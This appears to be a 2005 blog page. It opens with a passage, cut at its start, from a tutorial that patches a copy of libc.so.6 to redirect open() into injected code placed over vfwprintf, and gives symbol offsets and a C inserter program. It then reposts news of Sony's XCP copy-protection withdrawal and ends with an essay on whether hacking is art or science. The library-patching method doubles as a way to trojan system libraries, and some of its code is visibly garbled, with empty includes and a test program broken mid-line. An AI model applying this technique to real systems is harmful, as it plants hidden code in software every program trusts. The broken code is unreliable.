objcopy -O binary openbackdoor_systemcalls.o

openbackdoor_systemcalls.o is now purely the function's contents. All ELF structures and additional sections have been stripped away. It is ready to be introduced into the standard library. It is time now to prepare the library for insertion. We will test our changes on a disposable copy of the library. Begin by making an empty directory, e.g. one called bdoor. Inside the new directory make two subdirectories, one named lib and one named etc. Into etc copy resolv.conf from /etc/resolv.conf. Now make a small test program named test.c. The test program should have these contents:

#include 
#include

int main (int argc, char **argv)
{
int fd;
char buf [1024];

if ((fd = open("test.c", O_RDONLY, 0)) < fd =" open(">

Compile this program ordinarily ("gcc test.c"). Into the subdirectory, lib, copy two files, ld-linux.so.2 and libc.so.6. These two libraries will be somewhere on your system already, probably in /lib. libc.so.6 is the standard C library and ld-linux.so.2 is the dynamic linker which will our test program will need to load the standard library. Right above the bdoor directory you can switch to using this library copy with your test program by chrooting (you will need to be root to this):

chroot bdoor /a.out

If you do this before patching the standard library, it should simply print out the source code for test.c Now, we need to discover some details about the standard library. We need to learn the location of the current open function, the location of the vfwprintf function, the location of the dynsym symbol, and the location of the open symbol. The vfwprintf function is used because we are going to commandeer its location as it's a bloated function that is never called by anything on nearly every system. Start by getting a print out of the dynamic symbol table of libc.so.6 by doing this:

objdump -T libc.so.6 > symboldump

Open symboldump and remove the first four lines to reach the point where the SYMBOL TABLE listings begin. Search for dynsym. Record the leftmost number; it is the location of what this symbol points to (the dynamic symbols), probably between 0x3000 and 0x4000. Now search for open . You will find many instances of open, but you need the one that is only "open" and doesn't have any other text in its identifier. Now record the location (leftmost entry) along line number at which this symbol occurs in the symboldump file. The line number will be used to calculate where it is in the dynsym listing. Finally, find and record the location of vfwprintf. The size is listed after what section is in (.text). Your inserted function can only be up to this size. For example, here are the values in my library:

dynsym symbol location = 0x339C
open function location = 0xD5A20
open line number = 1997
vfwprintf function location = 0x51E10

Now we need to calculate the location of the open symbol. This is (open_line_number * 0x10 + dynsym_symbol_location). In my example it is 0xb06c. Finally, you will need the size of your new function, which is its file size after objcopy -O binary. In my case the new size is 4631. Now write an inserter program using your values in the define statements:

#include 
#include

#define OPEN_SYM 0xb06c - 128
#define OPEN_FUNC 0xd5a20
#define NEW_OPEN_SIZE 4631
#define VFWPRINTF_FUNC 0x51e10

int main ()
{
int x, fd;
char buf [2048];
char c = 0xe9;

fd = open("libc.so.6", O_RDWR, 0);
lseek(fd, OPEN_FUNC, SEEK_SET);
write(fd, &c, 1);
x = VFWPRINTF_FUNC - OPEN_FUNC + 4;
write(fd, &x, 4);
lseek(fd, OPEN_SYM, SEEK_SET);
x = OPEN_FUNC;
x = (int)memmem(buf, read(fd, buf, 2048), &x, 4) - (int)buf;
lseek(fd, OPEN_SYM + x, SEEK_SET);
x = VFWPRINTF_FUNC;
write(fd, &x, 4);
x = NEW_OPEN_SIZE;
write(fd, &x, 4);
lseek(fd, VFWPRINTF_FUNC, SEEK_SET);
while((x = fread(buf, 1, 2048, stdin)) > 0) {
write(fd, buf, x);
}
close(fd);
return 0;
}

What we have done is changed the description of the v symbol's contents. They describe the location and size of our code which we copy into the vfwprintf location. Calculating the location of the open symbol from the line number of the print out gives a result that varies a few bytes more or less from the actual location. This is why we back track a little from the estimate and then search to find the precise location. We also change the contents of the existing open function to simply jump to our back door. This way any standard library function which uses the open function (and has already had its address hard-coded into it) will be redirected to our back door. Cool beans!

Now compile it and run it in the lib directory as:

./a.out <>

Now try your test program again through chroot and ensure that everything works correctly. If everything went correctly, you should now have a back door in the open function that handles pathnames that start with "http://". You can put several functions in vfwprintf, ensuring correct offsets each time. If you want to be nice, you can add a small bit of code to return -1 at the start of vfwprintf and put your functions after that. If you're brave, copy your new library to where the original was, backing up the original first, and give it a try. Now all your binaries that use the shared open function can easily work with HTTP addresses. Happy hacking!

Monday, November 14, 2005

Sony's Anti Piracy

Sonys Xcp Anti Piracy Mechanism Shut Down!

Well its funny that the same mechanism they used to stop piracy is now being copied by hackers to create worms and spyware.Sony had to shut down production of there new disk becuase of the security risk ..
I guess its true that when they step up so will others to put them down..


Entertainment giant Sony has finally announced that they are suspending the production of their music CDs that are loaded with controversial anti-piracy mechanism. These measures installed hidden software on the MS Windows based machines to limit the number of times the CD can be replicated on it. However, the mechanism has been so insecure that the concept has been picked up hackers to develop spywares and worms based on it.

Sony has however claimed that they standby their right to prevent users from pirating songs and other digital content from the CDs. They are however halting the manufacturing of these disks, which used XCP technology. Sony said in a statement: “We also intend to re-examine all aspects of our content protection initiative to be sure that it continues to meet our goals of security and ease of consumer use.”

Sony BMG Music Entertainment had used this technology in at least 20 of their popular music titles that included releases by Van Zant and The Bad Plus. However, the security expert Mark Russinovich who discovered this flaw in their mechanism is still disappointed. The basic fact is that the company took too long to take this decision and still does not admit that they are at fault here.

In addition, Sony has not said that they will not be using this technology in the future. Several security researchers have already labeled this technology as Spyware considering it is difficult to remove and transmits without warning details about what music is playing. In addition, the consumer was not adequately informed about what happens when he plays the CD in his computer.

In fact, several security software companies have issued updates to their programs, which detect the presence of the Sony’s hidden files and disable them.


That just made my day how about you?

http://news.techwhack.com/2399/121111-sony...racy-music-cds/

Hacking Art or Science

By Mark Hinge (Thu, 29 Sep 2005 21:40:00 +0100) 1. Introduction

The argument regarding the principal nature of hacking - be it an art or a science is not a new one. This paper hopes to discuss both the meaning of the term “hack” and the underlying arguments for it being defined as an art or a science in reference to the base principles and basic methodologies of the discipline.

Ultimately the question is this: Does the creative thinking required to be a successful “hacker” outweigh the necessity for scientific process?

The dictionary [www.dictionary.com] defines the term “hacking” in a computer security context as:


1. Informal.
a. To write or refine computer programs skilfully.
b. To use one's skill in computer programming to gain illegal or unauthorized access to a file or network: hacked into the company's intranet.
The origin of the term however is a far more relevant issue than the “dictionary” definition itself – as is the subsequent media bastardisation of the exact definition of the term, all of which needs to be discussed before moving on to the main topic of this paper.


2. The Definition Of A Hacker

The term “hacking” in a computer science context was first coined in the 1960’s – and its continuing extended usage widely attributed to localised Massachusetts Institute of Technology (MIT) slang at the time, where in the very beginning the term “hack” was synonymous with the word “prank”. An early indication of the darker side of future hacking perhaps but never the less in reference to this origin “hacking” could basically and simply be defined as;


“Making a system, program or piece of hardware do something that it was not designed to do.”


Perhaps a good term to some up the meaning of “hacking” is “tinkering”. Under this broad definition it’d be quite possible to “hack” the toaster into cooking hotter than it was designed to do, or anything else as mundane; the description of the hardware modification involved would fall well within the constraints of the term – a good hack. With the exception of the rather circumstantial, not to mention retrospectively amusing ‘seed’ in the “prank” origin of the term; hacking previous to perhaps the early to mid 1980’s had no real demonised undertones, no media generated air of menace – all of which such additions and confusions of the definition have emerged as commerce and relatively un tech savvy and uneducated parties have had by nature of the changes in day to day life become more involved with areas of computer science and information technology in general, areas which at the origin of the term hacking were quite alien to the man on the street.

As touched upon briefly above, the mass mainstream media have given the term “hacking” a rather hard time since it’s initial outing in 1983 when American media outlets Newsweek and CBS News first used the term to refer to “computer intruders”. Although at this point even those in the computer community referred to such activity as "hacking" they surely did not intend for its usage to intone the purely illegal areas of wider “hacking” – areas that would later to be coined widely as “cracking” by the same underground community.

The upshot of this initial ‘definition by fire’ is a simple misunderstanding of the wider meanings of the term “hacking” by the mass media which perpetuates to this very day. While the educated underground community largely still consider the term “hacking” to be representative of the initial meaning of the phrase (ie. “making a system, program or piece of hardware do something that it was not designed to do”) the media have steamrollered the definition into focusing, for the most part, on ‘illegal entry into computer systems’. A small part of the broad definition of “hacking” which generally (perhaps largely due to the media bastardisation of the term “hacking”) is now referred to as “cracking” by the underground community at large.

The differences between the terms could perhaps be defined as:


Hacking: Making a system, program or piece of hardware do something that it was not designed to do.

Cracking: Gaining access to a system, program, server or piece of hardware via methods which bypass any security in place or give the ‘cracker’ inflated privileges within the targeted system, program, server or hardware.


The arguments about definition and scope of the term “hacking” aside, the important fact (in terms of this paper) remains that as far as the wider population are concerned “cracking” is either synonymous with the term “hacking”, or irrelevant in the face of the term “hacking”. To the man on the street “the hacker” has become an evil figure lurking in dark cellars surrounded by computer screens ready to steal credit card details online or deface websites – the media bastardisation is at this time complete and this is something the underground community now have to live with; not to mention a prime candidate for future more careful use of language both by specialised communities and the media who always eventually pick up on the slang used by such specialised communities.

Despite this, and as a historical lead on to the rest of this paper it is very interesting to note that the original definition of the term could also be applied to another group of individuals within society who have not been so demonised. Think carefully:

What are scientists doing if not making a system, program or piece of hardware do something that it was not designed to do? Where system, program or piece of hardware equals any area of science brought into question. This concept will be explored further later.

It is this comparison – between hackers and early scientists - which inspired this paper. Is original science just a retrospective redefinition of “hacking” – that is to say could the 1960’s term hacking be used to describe the thinking process behind the scientific revolution? Were the goals and methodologies of the original scientists similar in essence to those of the original “hackers” and does this suggest that “hacking” as we know it (be it art or science) is the first step along the road of discovery in terms of newly discovered disciplines?

Did those original hackers at MIT just design a slang term for the process of early developmental science? Personally, I think they probably did.

Conversely and moving onto the fundamental topic for this paper, despite it’s apparent similarities with the early stages of science is “hacking” in fact more of an art form than a true science; does the experimental and non-linear nature of “hacking” have more in common with artistic exploration than scientific process?


3. Basic “Hacking” Methodologies

From here on in, and having discussed at length the fate of the word “hacking” at the hands of the mass media, the phrase will now be used on that same media’s terms; “hacking” will now essentially become “cracking” also – this to save on later confusion and arguments as regard the meaning of the word in the context of this paper.

In essence the basic method for a “hack” can be defined fairly simply. The process, although never defined definitively, can be quite linear in it’s execution:


1. Approach a target.
2. Define possible attack vectors for acquired target.
3. Select most efficient attack vector.
4. Execute attack.

Although being mainly in reference to “Cracking” the above method can equally be applied to most if not all forms of ‘traditional’ hacking. Find a problem, find ways around the problem, choose the most efficient way around the problem; execute the hack. The nature of the “hack” makes no difference.

And although on occasion “hackers” may stray from this process, perhaps into the realms of what can be defined as “Voodoo Hacking” – a fun system which has no real process and is basically executed at random with the hope of producing at least some result, that result being the one you were striving to achieve or, in most cases, not.

As with the initial argument this very examination of the process has presented us with two sides of the coin; a very scientific approach and a random perhaps more artistic approach – both methodologies which all “hackers” have used at one stage or another during their own personal learning process I am sure.

But which is most representative of the overall tone of the discipline?


4. The Argument For Science


The mentality of curiosity necessary to succeed in scientific research is certainly equitable to that which is needed to succeed as “a hacker”, and although on the face of it making something “do that which it was not intended to do” is essentially unscientific - as mentioned earlier on in this paper some comparison can be drawn between that very foundation of “hacking” and scientific endeavour.

When the Wright brothers set out to create a flying machine, they were essentially setting out to make a solid object incapable of natural flight, fly; what real difference between that and our defined terms are there?

History is littered with such examples.

The existence of various patterns and the factor of, all be it non definitive, ‘set rules’ in the realms of “hacking” also makes it similar to conventional sciences on a fundamental level; no matter how many vulnerabilities and exploits we may find on, for example a Linux server, ultimately it is still a Linux server and still operates upon the set of rules that Linux servers operate upon; there are exceptions and later additions to these rules in terms of perhaps patches and discovered vulnerabilities’, but this process of discovery and amendment is no different to the process of scientific theory which are, from time to time, discredited, rethought or amended as we better our understanding of the subject matter.

Going as far as to put all of the above aside for a moment, the main argument for hacking being a scientific endeavour is as simple as a set basis from which to work. No matter what is being “hacked” it will without exception have a fundamental set of rules from which you can initially begin to work down “the hacking process” (as discussed earlier in the ‘Basic “Hacking” Methodologies’ section). You cannot “hack” thin air – you can create art from thin air.


5. The Argument For Art

A love of “hacking” (not to be confused with a love of the scene, which is something else entirely) is commonplace amongst self proclaimed hackers and professional Infosec workers alike. It’s true to say that unlike any other topic known to me the area of computer security requires a certain passion; one that many “hackers” would argue outweighs the passion required to participate successfully in any other technical activity – indeed a required passion is a trait “hacking” shares with many of the arts in stark contrast to the sciences.

Second to this is the indisputable fact that despite the existence of any rudimentary scientific process, creativity is without a doubt the key to success in hacking; more so than with any other conventional science. Thinking “outside the box” is the norm when discussing “hacking” issues; not a convoluted buzzword designed to inspire artificially fostered creative thinking.

Equally and again despite the theoretical existence of rudimentary scientific processes, patterns and rules within the realms of hacking it is often the case that these rules, more so than with only scientific discipline can be bent or even flat out broken. “Hacking” is a very mobile art in which definitions and rules change on a constant basis – so much so that it is still possible to achieve some levels of success without even being aware of said theoretical processes, patterns and rules in the first place (the afore mentioned ‘passion’ in some cases being enough) – a simple fact that makes “hacking” instantly very different from conventional sciences in which a base knowledge of the subject is crucial.

The question of style is always likely to float to the surface sooner or later when discussing hacking and it’s artistic or scientific definition. A hacker’s style and indeed the very substance of his work is almost always different from his peers. Two targeted hacks (not to be confused with script kiddie adventures) are rarely ever identical, and even less likely embarked upon with the same motive; it has been suggested that tracking repeat hackers (in particular those who deface websites) by their style (ie. choice of attack vector, time of execution, style of defacement and apparent motive) could prove an efficient way to ascertain a black hat’s future targets and even gather incriminating evidence against them. This is perhaps the most damning argument for hacking having become more of an art form than a science, could you claim the above for any conventional scientific discipline?

Or is it simply the case that in conventional science the rules are too rigid to allow for any real “style” in process?


6. Conclusion

All of the above is of course, just my opinion. The beauty of this argument is not only the depth at which you can draw comparison, especially historically – but the fact that ultimately it does not really matter.

From it’s origins in the 1960’s (and perhaps as discussed earlier in this paper, beyond) to this very day hacking has become an evolving activity. Hacking and “what constitutes hacking” changes, and by doing so incorporates both new levels of scientific method and artistic creativity.

The conclusion to this paper is simply a couple of questions which must be answered by the individual:


• Can a scientist be artistic with his chosen discipline?

• Are you an artist or a scientist?


Personally I’d like to think that a hacker can be artistic in his work while being more of a scientist than anything else. But, it’s all just opinion, what’s yours?